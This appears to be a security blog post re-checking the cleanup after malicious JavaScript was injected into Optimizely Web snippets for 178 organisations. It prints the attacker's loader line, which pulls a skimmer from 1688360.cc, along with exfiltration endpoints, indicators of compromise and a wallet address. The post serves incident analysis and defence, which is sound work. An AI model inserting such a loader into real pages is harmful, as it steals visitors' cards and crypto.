188 snippets infected, $7,040 gone: I re-checked the cleanup
188 snippets infected, $7,040 gone: I re-checked the cleanup 188 Optimizely snippets across 178 organisations were serving a crypto clipper, a card skimmer, and iOS exploit kits this morning. I re-fetched 6 of those sn
188 snippets infected, $7,040 gone: I re-checked the cleanup
188 Optimizely snippets across 178 organisations were serving a crypto clipper, a card skimmer, and iOS exploit kits this morning. I re-fetched 6 of those snippets at 00:30 UTC tonight — all 6 were clean, but the attacker's payload server is still answering, and the Bitcoin wallet has grown since the report.
What happened
Scott Helme's Report URI team published the full write-up today: on 16 November 2026, malicious JavaScript was injected into the Project JavaScript field of Optimizely Web customer projects. The snippet file itself was untouched and still served from cdn.optimizely.com with Optimizely's certificate — every affected site already trusted that host. The injected loader was three lines:
"projectJS": function(){(function(){try{var
s=document.createElement('script');s.src='https://1688360.cc/track.js';s.async=true;(document.head||document.documentElement).appendChild(s);}catch(e){}})();
Report URI fetched 1,611 distinct Optimizely snippets and found 188 infected, belonging to 178 organisations: Zoom, the BBC, CNN, Salesforce, GitLab, IKEA, HSBC, Equifax, Air France-KLM, Ledger, Peacock. The payload was rebuilt 26 times during the day. By 21:52 UTC only 1 of 188 snippets was still infected — TalkTalk's.
The payload did four things at once: swapped crypto wallet addresses in page text, form fields, links, and the clipboard; skimmed card numbers (Luhn-checked) plus expiry and CVV from form submissions and POST bodies, exfiltrated with navigator.sendBeacon to card.php; stole cookies and page screenshots; and on iPhones and iPads loaded the Coruna and DarkSword iOS exploit kits from two .icu router domains, keyed to the iOS version. The attacker had already stolen about $7,040 by 19:25 UTC.
What I re-checked
I pulled the homepages of the named victims, extracted every Optimizely snippet URL I could reach from public HTML, and fetched the snippets themselves, grepping for the four indicators from the report (1688360.cc, webshell.lol, and the two .icu router domains), plus the base64 of the payload domain. All times UTC, 16–17 November 2026:
| Snippet | Size | Last-Modified | Markers found |
|---|---|---|---|
Zoom cdn.optimizely.com/js/6395285578973184.js
|
312,216 B | 21:38:09 | none |
Typeform cdn.optimizely.com/js/6084697625722880.js
|
291,749 B | 21:36:23 | none |
Smartsheet cdn.optimizely.com/js/752092193.js
|
1,119,800 B | 20:56:45 | none |
CNN cdn.optimizely.com/public/125375509/s/landingprod.js
|
528,457 B | 20:56:21 | none |
IKEA US ikea.com/ext/optimizelyjs/s/united_states_web.js
|
794,508 B | — | none |
TalkTalk cdn-pci.optimizely.com/public/17910580195/s/sales_snippet.js
|
2,232,737 B | 00:44:26 (17 Nov) | none |
6 of 6 clean. The timestamps corroborate the report's own cleanup timeline almost to the minute: Smartsheet's snippet was rewritten at 20:56:45, and the report logged Smartsheet cleaned at 20:56. TalkTalk — the last holdout at 21:52 — now serves a snippet last modified at 00:44 UTC on 17 November, so the final holdout was rewritten overnight.
Two caveats, stated plainly. First, the BBC, GitLab, and Peacock homepages don't expose their snippet IDs in raw HTML — the snippet loads through a tag manager — so I couldn't re-fetch those three directly; CNN and IKEA came through first-party snippet paths instead. Second, I checked for the four known indicators, not for a novel second-stage payload; a clean grep means the known loader is gone, not that the project is proven uncompromised.
The payload server is still up
Here's the part that didn't get cleaned. At 00:35 UTC tonight, https://1688360.cc/track.js still returned HTTP 200, 29,882 bytes — the full payload, not a takedown page. I fetched it and counted, without executing anything:
status 200, 29,882 bytes
sendBeacon -> 2
card.php -> 2
hit.php -> 1
clipboard -> 5
html2canvas -> 5
boot.js -> 2
5vobauua3ojpklx -> 2 (iOS router 1)
eil786npto9u5bq -> 4 (iOS router 2)
The attacker's wallets are hardcoded in the first lines of the file — the same addresses the report lists. The snippet cleanup stops new infections from Optimizely's CDN. It does nothing about any visitor whose browser cached an infected snippet, any site that vendored the snippet locally, or any other injection route the same actor used — the report notes an earlier wave through Kissmetrics, StorifyMe, and Minute Media on 13–16 November. As long as track.js answers, those routes still pay.
The money, verified on-chain
The report's figures are as of 19:25 UTC: 0.08298 BTC across 4 transactions, $5,380. I checked the same address against mempool.space at 00:30 UTC:
address: 19g9rZcPeiz8rUvyWpTRyXXhPnjsWrc3kW
funded_txo_count: 7, funded_txo_sum: 8,528,782 sats
spent_txo_count: 0, tx_count: 5
That's 0.08528782 BTC received in 5 transactions, 0 spent — one more payment of about 0.0023 BTC landed after the report's snapshot. The coins haven't moved. The sweep the report logged at 13:03 UTC was the other wallets (USDC to a HitBTC deposit address); this BTC address is still sitting untouched, which means the on-chain trail is still warm if anyone wants to follow it.
Why this one matters more than the usual Magecart story
Three things make this incident different from a routine skimmer:
-
The trust was already granted. The malicious code ran from
cdn.optimizely.com, a host every victim had deliberately allow-listed. Subresource integrity can't save you here — SRI verifies a file against a hash you pinned, and nobody pins a hash on a snippet whose entire purpose is to change when the customer edits their experiments. The attack didn't break the trust model; it used it. -
The blast radius was one field in one dashboard. The attacker didn't breach 178 organisations. They got write access to the
projectJSfield of 178 customer projects — how is still unknown, and Optimizely hasn't said — and every site that loads its snippet inherited the payload. One shared dependency, 178 victims, zero per-site breaches. -
The cleanup is fast but the tail is long. 186 of 188 snippets were cleaned within about two hours of the sweep. But the payload server is still live, the wallets are still receiving, and the same actor's injector (
webshell.lol) has been active since 17 September on Turkish sites. The incident ends when the infrastructure is gone, not when the snippets are clean.
If you run Optimizely Web: check your snippet's Last-Modified header right now, diff your projectJS against what you wrote, and audit who has dashboard access — the entry point is still unexplained. If you visited any of the affected sites today and copied a crypto address or typed a card number into a site's own form (not a Stripe/Adyen iframe), check the destination before you send anything. And if you run any third-party script on your origin, this is the week to ask what your plan is for the day that script's vendor gets compromised — because the answer can't be "trust the CDN."
Sources: Report URI, "World's Largest Brands Infected With Malware Via Optimizely" (16 Nov 2026); snippet fetches, payload fetch, and mempool.space address lookup done by me on 16–17 Nov 2026, 00:30–00:35 UTC. Snippet sizes, Last-Modified headers, and payload byte counts are from those live fetches.
Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.